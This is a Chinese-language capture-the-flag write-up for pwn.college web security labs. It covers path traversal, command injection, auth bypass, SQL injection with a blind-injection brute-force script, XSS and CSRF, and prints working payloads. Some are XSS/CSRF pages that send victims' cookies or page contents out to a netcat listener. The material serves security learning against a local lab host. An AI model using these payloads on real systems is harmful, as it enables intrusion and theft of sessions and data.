# PwnCollege Web Security ### Path Traversal 1 ```python= app = flask.Flask(__name__) @app.route("/items", methods=["GET"]) @app.route("/items/<path:path>", methods=["GET"]) def challenge(path="index.html"): requested_path = app.root_path + "/files/" + path print(f"DEBUG: {requested_path=}") try: return open(requested_path).read() except PermissionError: flask.abort(403, requested_path) except FileNotFoundError: flask.abort(404, f"No {requested_path} from directory {os.getcwd()}") except Exception as e: flask.abort(500, requested_path + ":" + str(e)) app.secret_key = os.urandom(8) app.config["SERVER_NAME"] = f"challenge.localhost:80" app.run("challenge.localhost", 80) ``` 開啟一個server,使用`/items`這個路由可以訪問路徑 使用`http://challenge.localhost/items/../../flag`來訪問flag 但是會失敗,因為請求路徑會被標準化,會變成`/flag` 需要使用URL編碼`http://challenge.localhost/items/..%2F..%2Fflag` 也可以使用curl來獲取內容`curl 'http://challenge.localhost:80/items/..%2F..%2Fflag'` ### Path Traversal 2 ![image](https://hackmd.io/_uploads/rkJvt10R1x.png) 多加了`strip("/.")`會將開頭與結尾的`/.`去除 發現`files`目錄下有一個`fortunes`資料夾,可以從這個資料夾往回找 ![image](https://hackmd.io/_uploads/B1sz9yCCkx.png) `http://challenge.localhost/dump/fortunes/..%2F..%2F..%2Fflag` ### CMDi 1 https://wzt.ac.cn/2022/03/21/command-inject/ ![image](https://hackmd.io/_uploads/HJpAhJC01l.png) 會從表單取得資料,並拼接到command,可以使用`;`來做命令分割接著就可以使用`cat`查看檔案 `/; cat /flag` ![image](https://hackmd.io/_uploads/r1J06JC01g.png) ### CMDi 2 這次過濾了`;` ![image](https://hackmd.io/_uploads/HJzARJAA1e.png) 改成使用`|`來做連接`/ | cat /flag` ### CMDi 3 這次命令的建構多使用了`''`把參數包起來 ![image](https://hackmd.io/_uploads/rklA01g0CJe.png) 使用`/' ; cat '/flag`來繞過`'` ### CMDi 5 這次網站不會把指令結果顯示出來,可以用重定向把輸出導向自己建的臨時檔案 `; cat /flag > /tmp/flag` ### CMDi 6 多數的符號都被過濾,使用換行符的URL編碼`%0A`來繞過 `%0Acat /flag` ![image](https://hackmd.io/_uploads/BypL5x0AJe.png) 發現這樣無效,看到url的0A前面多了25,把25移掉再試一次 `%25`是`%`的URL編碼,因為使用表單送出時就會做一次URL編碼,所以就變成`%250A` 這稱之為**雙重編碼** ### Auth Bypass 1 ![image](https://hackmd.io/_uploads/HJjMLQRC1e.png) 取得request的參數session_user來判斷是誰登陸 從原碼可以得知有guest這個帳號,登陸後觀察URL為`?session_user=guest` 可以改成`?session_user=admin`來繞過驗證 ### Auth Bypass 2 ![image](https://hackmd.io/_uploads/rJPdDmAAke.png) 這次是檢查cookie,直接修改cookie的value為admin ### SQLi 1 ![image](https://hackmd.io/_uploads/SJZc97RRyx.png) 查詢語句如上,使用`username`為`admin`、`password`為`123 or 1=1--` 組合出來的語句為 `query="SELECT rowid, * FROM users WHERE username = 'admin' AND pin = 123 or 1=1"` AND的優先級比OR高,但不管怎樣都會是登錄成功 ### SQLi 2 password使用`''`包起來,因此要先使用`'`閉合 ![image](https://hackmd.io/_uploads/SyPBpm0Ayg.png) username為`admin`、password為`123' or 1=1--` `query="SELECT rowid, * FROM users WHERE username = 'admin' AND password = '123' or 1=1--'"` ### SQLi 3 使用union來連接不同sql語句的返回結果 `" union select password from users where username='admin'--` 先用`"`來閉合,接著就能用`union`來接其他查詢語句 `SELECT username FROM users WHERE username LIKE "" union select password from users where username='admin'--"` ### SQLi 4 因為是隨機的table名稱所以要先找到有哪些table 這題是使用`sqlite`所以使用`" union select tbl_name from sqlite_master--`或是 `" union select name from sqlite_master WHERE type='table'--` 如果是mySQL可以使用`union select table_name from information_schema.tables` 最後的payload`" union select password from users_7605420928 where username='admin'--` ### SQLi 5 這題不會有任何顯示,因此要使用盲注 `' or 1=1 --`這樣會返回成功頁面,因此可嘗試布林盲注 `' or substr((SELECT password FROM users WHERE username='admin'), 1, 1) == 'a'--` 用這種方式可以將密碼一個個給leak出來 ```python= import requests import string charset = string.printable url = 'http://challenge.localhost:80' flag = "" for i in range(1, 100): find = False for char in charset: payload = f"' OR substr((SELECT password FROM users WHERE username='admin'), {i}, 1) == '{char}'--" data = {"username": 'admin', "password": payload} response = requests.post(url, data=data, timeout = 20) if response.status_code == 200: flag += char print(f"[+] Found character {i}: {char}") find = True break if(not find): print("Can not find... Or END !!!!") break print(f"Flag is : {flag}") ``` ### XSS 1 ![image](https://hackmd.io/_uploads/S1P4t41ygx.png) 這邊會用輸入的內容作串接,因此可以構建XSS`<input></input>` 這邊的內容是從數據庫檢索出來再顯示給使用者,因此稱為儲存型XSS ### XSS 2 使用`<script>alert(1)</script>`來插入彈出框 ### XSS 3 反射型XSS是發生在URL參數被渲染到生成的HTML頁面,需要受害者去訪問這個URL 這個頁面會顯示`msg`的內容,因此把javascript注入到msg參數中,讓其渲染到網頁中 `http://challenge.localhost/?msg=<script>alert("PWNED")</script>` ### XSS 4 ![image](https://hackmd.io/_uploads/r1urpVkylg.png) 這題會從URL取得參數並渲染到`<textarea>`中,因此不會觸發javascript,需要先把textarea閉合 `http://challenge.localhost/?msg=</textarea><script>alert("PWNED")</script>` ### XSS 5 ![image](https://hackmd.io/_uploads/BkZqBr1yee.png) 這裡有個連結點下去會發起GET請求`/publish` 因此我們的目標是要讓admin發起GET請求,讓其把未發布的內容發布 可以使用`fetch()` 注入payload`<script>fetch("http://challenge.localhost/publish");</script>` 這樣admin一登入就會發起`/publish`請求並把他的草稿顯示出來 ### XSS 6 這次是要發起POST請求 `<script>fetch("http://challenge.localhost/publish", { method : "POST"});</script>` ### XSS 7 這次不管是寫草稿或是發布都需要身分認證,但他的帳號和密碼是存在cookie裡 ![image](https://hackmd.io/_uploads/rJu56rJyex.png) 可以使用`fetch()`讓受害者把cookie送到我的伺服器上 可以用`nc`來監聽port口,當作自己的伺服器 `nc -lvnp 6969` > -l 監聽模式、-v 詳細解釋、-n 不解析DNS、-p 設定port口 ![image](https://hackmd.io/_uploads/SkOlaryJxg.png) 接著就可以構造XSS注入讓受害者發起請求 `<script>fetch("http://0.0.0.0:6969", { method: "POST", body: document.cookie});</script>` ### CSRF 1 這題無法注入XSS(因為受害者不會看這個網站),但受害者在登入後會去訪問`http://0.0.0.0:1337` 且因為同源政策,我們無法讓cookie跨網站傳遞 因此我們可以建構一個網站`http://0.0.0.0:1337`,當受害者訪問這個網站時就會向`challenge.localhost`發送`/publish`的GET請求 `python -m http.server 1337`使用python來啟動一個server 在同個目錄下建立一個`index.html` ```html= <!DOCTYPE html> <html> <body> <form id="csrfForm" action="http://challenge.localhost/publish" method="GET"> </form> <script> document.getElementById("csrfForm").submit(); </script> </body> </html> ``` > 這樣當使用者訪問這個網站時就會利用其自己的cookie發起GET請求 ### CSRF 2 改成POST請求 ### CSRF 3 要用CSRF與XSS來彈出提示框 ![image](https://hackmd.io/_uploads/SJVjDuJJge.png) > 這是能觸發XSS的地方,他會從URL取得msg參數,並顯示在畫面上,這能XSS注入 ```html= <!DOCTYPE html> <html> <body> <script> let payload = "<scr" + "ipt>alert(\"PWNED\");</scr" + "ipt>" let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload) /*fetch(url, {credentials: "include"})*/ window.location.href = url; </script> </body> </html> ``` 構建一個訪問`http://challenge.localhost/ephemeral`的連結,而`msg`就是希望觸發的js程式碼,要注意這邊因為有多個`<script>`標籤,所以要使用`"</scr" + "ipt>"` 否則瀏覽器會把payload的`</script>`和網頁真正的`<script>`做閉合 最後使用`window.location.href = url;`來做網頁跳轉,讓受害者看到彈出框 `encodeURIComponent`可用來將字串進行 URL 編碼,讓它可以安全地放進 URL 中的參數裡 ### CSRF 4 這題要取得cookie,使用另一個nc監聽的伺服器來接收cookie,取得cookie就能登入了 ```html= <!DOCTYPE html> <html> <body> <script> let payload = "<scr" + "ipt>fetch(\"http://0.0.0.0:6969\", { method: \"POST\", body: document.cookie});</scr" + "ipt>" let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload) /*fetch(url, {credentials: "include"})*/ window.location.href = url; </script> </body> </html> ``` ### CSRF 5 這題設置了`HttpOnly`,表示無法藉由`document.cookie`來偷取cookie了 但我們已經將程式碼注入進去網頁的話,就沒有同源問題,我們想幹嘛就幹嘛 可以使用`fetch()`來訪問各路徑,並直接存取該頁面的資訊 ```html= <!DOCTYPE html> <html> <body> <script> let payload = "<scr" + "ipt>fetch('/').then(r=>r.text()).then(t=>{fetch('http://0.0.0.0:1337/?leak=' + encodeURIComponent(t))})" + ";</scr" + "ipt>" let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload) /*fetch(url, {credentials: "include"})*/ window.location.href = url; </script> </body> </html> ``` > 把跟目錄的頁面整個抓下來,丟到cyber chef做URL解碼 ![image](https://hackmd.io/_uploads/SJNkWtJ1eg.png)